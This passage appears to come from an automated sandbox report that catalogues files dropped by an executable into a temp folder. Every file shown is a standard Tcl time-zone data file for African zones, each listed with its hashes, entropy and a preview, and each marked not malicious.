SHA-256:	DCDE14A3352024BF00D80031A0A7DD3A083E5F149356CF828C6CF72AA2F1CF96
SHA-512:	57B4F3AC0BF57C99C6B2BE3873E41BC838F46167EC2BE136D5CFF29DE00BDD9D979C4317D77A6CDECEF0FECE70094ACDC905BFFF511354878751745469273989
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/Ceuta) {. {-9223372036854775808 -1276 0 LMT}. {-2177451524 0 0 WET}. {-1630112400 3600 1 WEST}. {-1616810400 0 0 WET}. {-1451692800 0 0 WET}. {-1442451600 3600 1 WEST}. {-1427677200 0 0 WET}. {-1379293200 3600 1 WEST}. {-1364778000 0 0 WET}. {-1348448400 3600 1 WEST}. {-1333328400 0 0 WET}. {-1316394000 3600 1 WEST}. {-1301274000 0 0 WET}. {-1293840000 0 0 WET}. {-81432000 3600 1 WEST}. {-71110800 0 0 WET}. {141264000 3600 1 WEST}. {147222000 0 0 WET}. {199756800 3600 1 WEST}. {207702000 0 0 WET}. {231292800 3600 1 WEST}. {244249200 0 0 WET}. {265507200 3600 1 WEST}. {271033200 0 0 WET}. {448243200 3600 0 CET}. {504918000 3600 0 CET}. {512528400 7200 1 CEST}. {528253200 3600 0 CET}. {543978000 7200 1 CEST}. {559702800 3600 0 CET}. {575427600 7200 1 CEST}. {591152400 3600 0 CET}. {606877200 7200 1 CEST}. {622602000 3600 0 C

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Conakry

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	180
Entropy (8bit):	4.832452688412801
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqss1kvFVAIgNGE4Rvt2DcmMM1+DcsP:SlSWB9IZaM3y7sYFVAIgNT4tt2DCM1+V
MD5:	DC007D4B9C02AAD2DBD48E73624B893E
SHA1:	9BEE9D21566D6C6D4873EFF9429AE3D3F85BA4E4
SHA-256:	3BF37836C9358EC0ABD9691D8F59E69E8F6084A133A50650239890C458D4AA41
SHA-512:	45D3BC383A33F7079A6D04079112FD73DB2DDBB7F81BFF8172FABCAA949684DC31C8B156E647F77AF8BA26581D3812D510C250CDC4D7EEEC788DDB2B77CD47E8
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Abidjan)]} {. LoadTimeZoneFile Africa/Abidjan.}.set TZData(:Africa/Conakry) $TZData(:Africa/Abidjan).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Dakar

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.8075658510312484
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqss1kvFVAIgNGE4Rvt2DcXXMFBx/2DcsP:SlSWB9IZaM3y7sYFVAIgNT4tt2DKXEB4
MD5:	CDA180DB8DF825268DB06298815C96F0
SHA1:	20B082082CFA0DF49C0DF4FD698EBD061280A2BB
SHA-256:	95D31A4B3D9D9977CBDDD55275492A5A954F431B1FD1442C519255FBC0DBA615
SHA-512:	2D35698DE3BF1E90AB37C84ED4E3D0B57F02555A8AEB98659717EEC1D5EED17044D446E12B5AAC12A9721A3F9667343C5CACD7AB00BF986285B8084FF9384654
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Abidjan)]} {. LoadTimeZoneFile Africa/Abidjan.}.set TZData(:Africa/Dakar) $TZData(:Africa/Abidjan).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Dar_es_Salaam

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	186
Entropy (8bit):	4.795449330458551
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsVVMMvwVAIgNGExVMSt2Dc8bEH+DcVVMMv:SlSWB9IZaM3y7VcVAIgNTxL2DJbVDkr
MD5:	AF8E3E86312E3A789B82CECEDDB019CE
SHA1:	6B353BAB18E897151BF274D6ACF410CDFF6F00F0
SHA-256:	F39E4CABE33629365C2CEF6037871D698B942F0672F753212D768E865480B822
SHA-512:	9891AA26C4321DD5C4A9466F2EE84B14F18D3FFD71D6E8D2DE5CAFE4DC563D85A934B7B4E55926B30181761EF8C9B6C97746F522718BAE9DCBE4BDDE70C42B53
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Nairobi)]} {. LoadTimeZoneFile Africa/Nairobi.}.set TZData(:Africa/Dar_es_Salaam) $TZData(:Africa/Nairobi).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Djibouti

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	181
Entropy (8bit):	4.779330261863059
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsVVMMvwVAIgNGExVMSt2DcRHKQ1BQDcVVMMv:SlSWB9IZaM3y7VcVAIgNTxL2DOrkDkr
MD5:	1440C37011F8F31213AE5833A3FCD5E1
SHA1:	9EEE9D7BB3A1E29EDDE90D7DBE63ED50513A909B
SHA-256:	A4E0E775206EDBA439A454649A7AC94AE3AFEADC8717CBD47FD7B8AC41ADB06F
SHA-512:	D82FF9C46C8845A6F15DC96AF8D98866C601EF0B4F7F5F0260AD571DD46931E90443FFEB5910D5805C5A43F6CC8866116066565646AE2C96E1D260999D1641F0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Nairobi)]} {. LoadTimeZoneFile Africa/Nairobi.}.set TZData(:Africa/Djibouti) $TZData(:Africa/Nairobi).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Douala

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	173
Entropy (8bit):	4.800219030063992
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsGe4FVAIgNGESIRL2DcnKe2DcGev:SlSWB9IZaM3y7V4FVAIgNT9L2Dml2D4v
MD5:	18C0C9E9D5154E20CC9301D5012066B9
SHA1:	8395E917261467EC5C27034C980EDD05F2242F40
SHA-256:	0595C402B8499FC1B67C196BEE24BCA4DE14D3E10B8DBBD2840D2B4C88D9DF28
SHA-512:	C53540E25B76DF8EC3E2A5F27B473F1D6615BFBD043E133867F3391B057D8552350F912DF55DD11C1357765EF76D8E286BBBE839F28295D09751243DC0201BDF
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Lagos)]} {. LoadTimeZoneFile Africa/Lagos.}.set TZData(:Africa/Douala) $TZData(:Africa/Lagos).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\El_Aaiun

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5885
Entropy (8bit):	3.727945999721289
Encrypted:	false
SSDEEP:	96:P1OZIlkCx4aWvYzCcgwUjdnPb9gNIBhZtwIuZN38BFvxt3V8byvSl3byEHP:P0ZtYzCcgwUjdPBhZuY1xP8P
MD5:	822B00C8FF53B7E5F1B1A7A06B34FEF2
SHA1:	78DBB1F1BD9A59EC331335DCB6B5978E9C5B4D0F
SHA-256:	776BFD12EF9A6B65171DB3D2A5F6F13FB4E2286DB5DCEF33D0DCEBFA1259B605
SHA-512:	32FAA47B029BEAD1EDB949F0C6D9CAEA5856AFBF5B80A45944876C03EB238605C72FF96364D7BFAD781BCA618BE39A2758FEB059AFFBE60D97C4E62B19A13F7C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/El_Aaiun) {. {-9223372036854775808 -3168 0 LMT}. {-1136070432 -3600 0 WAT}. {198291600 0 0 WET}. {199756800 3600 1 WEST}. {207702000 0 0 WET}. {231292800 3600 1 WEST}. {244249200 0 0 WET}. {265507200 3600 1 WEST}. {271033200 0 0 WET}. {1212278400 3600 1 WEST}. {1220223600 0 0 WET}. {1243814400 3600 1 WEST}. {1250809200 0 0 WET}. {1272758400 3600 1 WEST}. {1281222000 0 0 WET}. {1301788800 3600 1 WEST}. {1312066800 0 0 WET}. {1335664800 3600 1 WEST}. {1342749600 0 0 WET}. {1345428000 3600 1 WEST}. {1348970400 0 0 WET}. {1367114400 3600 1 WEST}. {1373162400 0 0 WET}. {1376100000 3600 1 WEST}. {1382839200 0 0 WET}. {1396144800 3600 1 WEST}. {1403920800 0 0 WET}. {1406944800 3600 1 WEST}. {1414288800 0 0 WET}. {1427594400 3600 1 WEST}. {1434247200 0 0 WET}. {1437271200 3600 1 WEST}. {1445738400 0 0 WET}. {1459044000 3600 1 WEST

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Freetown

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	181
Entropy (8bit):	4.817633094200984
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqss1kvFVAIgNGE4Rvt2Dcu5sp4DcsP:SlSWB9IZaM3y7sYFVAIgNT4tt2Dk4DBP
MD5:	035B36DF91F67179C8696158F58D0CE8
SHA1:	E43BFF33090324110048AC19CBA16C4ED8D8B3FE
SHA-256:	3101942D9F3B2E852C1D1EA7ED85826AB9EA0F8953B9A0E6BAC32818A2EC9EDD
SHA-512:	A7B52154C6085E5D234D6D658BA48D2C8EC093A429C3907BE7D16654F6EE9EBE8E3100187650956E5164B18340AB0C0979C1F4FA90EFE0CC423FBA5F14F45215
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Abidjan)]} {. LoadTimeZoneFile Africa/Abidjan.}.set TZData(:Africa/Freetown) $TZData(:Africa/Abidjan).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Gaborone

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.8512443534123255
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsfKGyVAIgNGEjKKW62DcHK0o/4DcfKu:SlSWB9IZaM3y7fYVAIgNTj5W62DAV+4G
MD5:	BA2C7443CFCB3E29DB84FEC16B3B3843
SHA1:	2BA7D68C48A79000B1C27588A20A751AA04C5779
SHA-256:	28C1453496C2604AA5C42A88A060157BDFE22F28EDD1FBC7CC63B02324ED8445
SHA-512:	B275ABAADA7352D303EFEAD66D897BE3099A33B80EA849F9F1D98D522AA9A3DC44E1D979C0ABF2D7886BACF2F86D25837C971ECE6B2AF731BE2EE0363939CBDE
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Maputo)]} {. LoadTimeZoneFile Africa/Maputo.}.set TZData(:Africa/Gaborone) $TZData(:Africa/Maputo).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Harare

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	176
Entropy (8bit):	4.835896095919456
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsfKGyVAIgNGEjKKW62Dc0B5h4DcfKu:SlSWB9IZaM3y7fYVAIgNTj5W62Dlfh4G
MD5:	59137CFDB8E4B48599FB417E0D8A4A70
SHA1:	F13F9932C0445911E395377FB51B859E4F72862A
SHA-256:	E633C6B619782DA7C21D548E06E6C46A845033936346506EA0F2D4CCCDA46028
SHA-512:	2DCEB9A9FA59512ADCDE4946F055718A8C8236A912F6D521087FC348D52FFF462B5712633FDA5505876C500F5FD472381B3AC90CF1AEDF0C96EA08E0A0D3B7BA
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Maputo)]} {. LoadTimeZoneFile Africa/Maputo.}.set TZData(:Africa/Harare) $TZData(:Africa/Maputo).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Johannesburg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	4.638948195674004
Encrypted:	false
SSDEEP:	6:SlSWB9X52DWbAm2OHePP1mXs0//HF20706VcF206KsF:MBp52DWkmdHePP1mcUvFxJVcFEKsF
MD5:	256740512DCB35B4743D05CC24C636DB
SHA1:	1FD418712B3D7191549BC0808CF180A682AF7FC1
SHA-256:	768E9B2D9BE96295C35120414522FA6DD3EDA4500FE86B6D398AD452CAF6FA4B
SHA-512:	DCFF6C02D1328297BE24E0A640F5823BFD23BDE67047671AC18EB0B1F450C717E273B27A48857F54A18D6877AB8132AAED94B2D87D2F962DA43FE473FC3DDC94
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/Johannesburg) {. {-9223372036854775808 6720 0 LMT}. {-2458173120 5400 0 SAST}. {-2109288600 7200 0 SAST}. {-860976000 10800 1 SAST}. {-845254800 7200 0 SAST}. {-829526400 10800 1 SAST}. {-813805200 7200 0 SAST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Juba

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	180
Entropy (8bit):	4.884521503398915
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsIXR8HVAIgNGEkXR8o2DcdHl0DcIXR8u:SlSWB9IZaM3y7IXR8HVAIgNTkXR8o2D9
MD5:	F0333A1DE72E7E3C8A13A7A4D9F2CCC7
SHA1:	8D1259C2C4EE33790F88D392904D9DCDCE60A633
SHA-256:	D5BA3C8C36E88E80EFA603B5BCEEADBFFFDDC87D47F47D2F15D62708E8346443
SHA-512:	B4E3CE0BD12E629707A9FD338C4B36FBC74022404A8FC7BD16068571FBE61F2E87AD797737739E7E9C34D3A4604EC9AD8FCAA0836C0AA7AA14DC13523BFF93DF
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Khartoum)]} {. LoadTimeZoneFile Africa/Khartoum.}.set TZData(:Africa/Juba) $TZData(:Africa/Khartoum).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Kampala

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	180
Entropy (8bit):	4.787605387034664
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsVVMMvwVAIgNGExVMSt2DcJEl2DcVVMMv:SlSWB9IZaM3y7VcVAIgNTxL2DIEl2Dkr
MD5:	8CF1CA04CD5FC03D3D96DC49E98D42D4
SHA1:	4D326475E9216089C872D5716C54DEB94590FCDE
SHA-256:	A166E17E3A4AB7C5B2425A17F905484EBFDBA971F88A221155BCA1EC5D28EA96
SHA-512:	1301B9469ED396198A2B87CBA254C66B148036C0117D7D4A8286CB8729296AD735DF16581AEF0715CEE24213E91970F181824F3A64BCF91435FDAD85DCD78C84
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Nairobi)]} {. LoadTimeZoneFile Africa/Nairobi.}.set TZData(:Africa/Kampala) $TZData(:Africa/Nairobi).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Khartoum

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	3.967955792980027
Encrypted:	false
SSDEEP:	24:cQWe9hXn0Vb0iluy8pLXeKXhCvN9U0TlW50qCPR8jYJRFp0Q8SdAri/8+u8Wb2:5vn010ilux1XeKXhCvN9U0TMGqCp8jYH
MD5:	58D2DAB313AF844E330560A3ECFCB150
SHA1:	2ACBE3F6BFE4A0435BF7B1BE1D1AFEC74F1B61BB
SHA-256:	4AE7C0262505994EFD358165D8A3D896ED3D7766EB2F2EC0029E54CC27663A11
SHA-512:	35CF9D2D1B13C21BD672A1960F2A77A3FD7F52DA208990D4D10891A4FD87CE90E946A5FF1383FB11F0B3675C335B1EAD5B4F1913AB1302ED550CE94D1B21E7A2
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/Khartoum) {. {-9223372036854775808 7808 0 LMT}. {-1230775808 7200 0 CAT}. {10360800 10800 1 CAST}. {24786000 7200 0 CAT}. {41810400 10800 1 CAST}. {56322000 7200 0 CAT}. {73432800 10800 1 CAST}. {87944400 7200 0 CAT}. {104882400 10800 1 CAST}. {119480400 7200 0 CAT}. {136332000 10800 1 CAST}. {151016400 7200 0 CAT}. {167781600 10800 1 CAST}. {182552400 7200 0 CAT}. {199231200 10800 1 CAST}. {214174800 7200 0 CAT}. {230680800 10800 1 CAST}. {245710800 7200 0 CAT}. {262735200 10800 1 CAST}. {277246800 7200 0 CAT}. {294184800 10800 1 CAST}. {308782800 7200 0 CAT}. {325634400 10800 1 CAST}. {340405200 7200 0 CAT}. {357084000 10800 1 CAST}. {371941200 7200 0 CAT}. {388533600 10800 1 CAST}. {403477200 7200 0 CAT}. {419983200 10800 1 CAST}. {435013200 7200 0 CAT}. {452037600 10800 1 CAST}. {466635600 7200 0 CAT}. {483487200 10800 1

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Kigali

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	176
Entropy (8bit):	4.8623059127375585
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsfKGyVAIgNGEjKKW62DcCJRx+DcfKu:SlSWB9IZaM3y7fYVAIgNTj5W62DRX+Da
MD5:	32AE0D7A7E7F0DF7AD0054E959A53B09
SHA1:	AE455C96401EBB1B2BDE5674A71A182D9E12D7BD
SHA-256:	7273FA039D250CABAE2ACCE926AB483B0BF16B0D77B9C2A7B499B9BDFB9E1CBB
SHA-512:	DC8E89A75D7212D398A253E6FF3D10AF72B7E14CBC07CA53C6CB01C8CE40FB12375E50AD4291C973C872566F8D875D1E1A2CF0A38F02C91355B957095004563E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Maputo)]} {. LoadTimeZoneFile Africa/Maputo.}.set TZData(:Africa/Kigali) $TZData(:Africa/Maputo).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Kinshasa

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	175
Entropy (8bit):	4.816805447465336
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsGe4FVAIgNGESIRL2DcqQFeDcGev:SlSWB9IZaM3y7V4FVAIgNT9L2DdD4v
MD5:	90EC372D6C8677249C8C2841432F0FB7
SHA1:	5D5E549496962420F56897BC01887B09EC863D78
SHA-256:	56F7CA006294049FA92704EDEAD78669C1E9EABE007C41F722E972BE2FD58A37
SHA-512:	93FD7C8F5C6527DCCFBF21043AB5EED21862A22DA1FDB3ED7635723060C9252D76541DAD3A76EBF8C581A82A6DBEF2766DD428ACE3A9D6A45954A787B686B1CA
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Lagos)]} {. LoadTimeZoneFile Africa/Lagos.}.set TZData(:Africa/Kinshasa) $TZData(:Africa/Lagos).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Lagos

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	141
Entropy (8bit):	4.965079502032549
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52DcGemFFkXGm2OHWTdvUQDWTFWZRYvCn:SlSWB9X52D4mFJm2OHWTdRDWTGRLn
MD5:	51D7AC832AE95CFDE6098FFA6FA2B1C7
SHA1:	9DA61FDA03B4EFDA7ACC3F83E8AB9495706CCEF1
SHA-256:	EEDA5B96968552C12B916B39217005BF773A99CA17996893BC87BCC09966B954
SHA-512:	128C8D3A0AA7CF4DFAE326253F236058115028474BF122F14AB9461D910A03252FEEB420014CA91ACFBF94DF05FBFCADE98217FC59A86A2581BB68CDC83E88C8
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/Lagos) {. {-9223372036854775808 816 0 LMT}. {-1588464816 3600 0 WAT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Libreville

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	177
Entropy (8bit):	4.816649832558406
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsGe4FVAIgNGESIRL2Dcr7bp4DcGev:SlSWB9IZaM3y7V4FVAIgNT9L2Dgfp4Di
MD5:	D1387B464CFCFE6CB2E10BA82D4EEE0E
SHA1:	F672B694551AB4228D4FC938D0CC2DA635EB8878
SHA-256:	BEE63E4DF9D03D2F5E4100D0FCF4E6D555173083A4470540D4ADC848B788A2FC
SHA-512:	DEB95AAB852772253B60F83DA9CE5E24144386DFBFB1F1E9A77905511181EC84FD13B00200602D6C276820527206EE0078DDE81CC0F1B1276B8BF4360C2CDB1E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Lagos)]} {. LoadTimeZoneFile Africa/Lagos.}.set TZData(:Africa/Libreville) $TZData(:Africa/Lagos).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Lome

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	177
Entropy (8bit):	4.813464796454866
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqss1kvFVAIgNGE4Rvt2Dcih4DcsP:SlSWB9IZaM3y7sYFVAIgNT4tt2DNh4DB
MD5:	D2AA823E78DD8E0A0C83508B6378DE5D
SHA1:	C26E03EF84C3C0B6001F0D4471907A94154E6850
SHA-256:	345F3F9422981CC1591FBC1B5B17A96F2F00F0C191DF23582328D44158041CF0
SHA-512:	908F8D096DA6A336703E7601D03477CECBCDC8D404C2410C7F419986379A14943BB61B0D92D87160D5F1EF5B229971B2B9D122D2B3F70746CED0D4D6B10D7412
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Abidjan)]} {. LoadTimeZoneFile Africa/Abidjan.}.set TZData(:Africa/Lome) $TZData(:Africa/Abidjan).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Luanda

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	173
Entropy (8bit):	4.807298951345495
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsGe4FVAIgNGESIRL2DccLtBQDcGev:SlSWB9IZaM3y7V4FVAIgNT9L2DXQD4v
MD5:	E851465BCA70F325B0B07E782D6A759E
SHA1:	3B3E0F3FD7AF99F941A3C70A2A2564C9301C8CFB
SHA-256:	F7E1DCBAE881B199F2E2BF18754E145DDED230518C691E7CB34DAE3C922A6063
SHA-512:	5F655B45D7A16213CE911EDAD935C1FEE7A947C0F5157CE20712A00B2A12A34AE51D5C05A392D2FF3A0B2DA7787D6C614FF100DDE7788CA01AAE21F10DD1CC3A
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Lagos)]} {. LoadTimeZoneFile Africa/Lagos.}.set TZData(:Africa/Luanda) $TZData(:Africa/Lagos).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Lubumbashi

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	180
Entropy (8bit):	4.893308860167744
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsfKGyVAIgNGEjKKW62DcfpT0DcfKu:SlSWB9IZaM3y7fYVAIgNTj5W62D8pT0G
MD5:	CD638B7929FB8C474293D5ECF1FE94D3
SHA1:	149AD0F3CF8AC1795E84B97CFF5CEB1FD26449C4
SHA-256:	41D32824F28AE235661EE0C959E0F555C44E3E78604D6D2809BBA2254FD47258
SHA-512:	D762C49B13961A01526C0DD9D7A55E202448E1B46BA64F701FB2E0ABE0F44B2C3DF743864B9E62DC07FD6CEA7197945CE246C89CDACB1FEC0F924F3ECC46B170
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Maputo)]} {. LoadTimeZoneFile Africa/Maputo.}.set TZData(:Africa/Lubumbashi) $TZData(:Africa/Maputo).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Lusaka

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	176
Entropy (8bit):	4.857012096036922
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsfKGyVAIgNGEjKKW62DcOf+DcfKu:SlSWB9IZaM3y7fYVAIgNTj5W62DkDE/
MD5:	3769866ADC24DA6F46996E43079C3545
SHA1:	546FA9C76A1AE5C6763B31FC7214B8A2B18C3C52
SHA-256:	5BAF390EA1CE95227F586423523377BABD141F0B5D4C31C6641E59C6E29FFAE0
SHA-512:	DEA8CAB330F6321AD9444DB9FEC58E2CBCC79404B9E5539EABB52DBC9C3AC01BA1E8A3E1EC32906F02E4E4744271D84B626A5C32A8CD8B22210C42DD0E774A9C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Maputo)]} {. LoadTimeZoneFile Africa/Maputo.}.set TZData(:Africa/Lusaka) $TZData(:Africa/Maputo).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Malabo

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	173
Entropy (8bit):	4.807416212132411
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsGe4FVAIgNGESIRL2Dcn2DcGev:SlSWB9IZaM3y7V4FVAIgNT9L2D42D4v
MD5:	37C13E1D11C817BA70DDC84E768F8891
SHA1:	0765A45CC37EB71F4A5D2B8D3359AEE554C647FF
SHA-256:	8F4F0E1C85A33E80BF7C04CF7E0574A1D829141CC949D2E38BDCC174337C5BAE
SHA-512:	1E31BBA68E85A8603FBDD27DA68382CBC6B0E1AB0763E86516D3EFD15CFF106DE02812756F504AEE799BF6742423DF5732352D488B3F05B889BE5E48594F558D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Lagos)]} {. LoadTimeZoneFile Africa/Lagos.}.set TZData(:Africa/Malabo) $TZData(:Africa/Lagos).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Maputo

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	143
Entropy (8bit):	4.906945970372021
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52DcfKUXGm2OHoVvXdSF2iv:SlSWB9X52DESm2OHoVPdM
MD5:	5497C01E507E7C392944946FCD984852
SHA1:	4C3FD215E931CE36FF095DD9D23165340D6EECFE
SHA-256:	C87A6E7B3B84CFFA4856C4B6C37C5C8BA5BBB339BDDCD9D2FD34CF17E5553F5D
SHA-512:	83A2AA0ED1EB22056FFD3A847FB63DD09302DA213FE3AB660C41229795012035B5EA64A3236D3871285A8E271458C2DA6FCD599E5747F2F842E742C11222671A
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/Maputo) {. {-9223372036854775808 7820 0 LMT}. {-2109291020 7200 0 CAT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Maseru

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	194
Entropy (8bit):	4.91873415322653
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7HbsvFVAIgNTzbDJL2DZQs+DWbBn:MBaIMaHw4NHnJL2DZiDWt
MD5:	71A4197C8062BBFCCC62DCEFA87A25F9
SHA1:	7490FAA5A0F5F20F456E71CBF51AA6DEB1F1ACC8
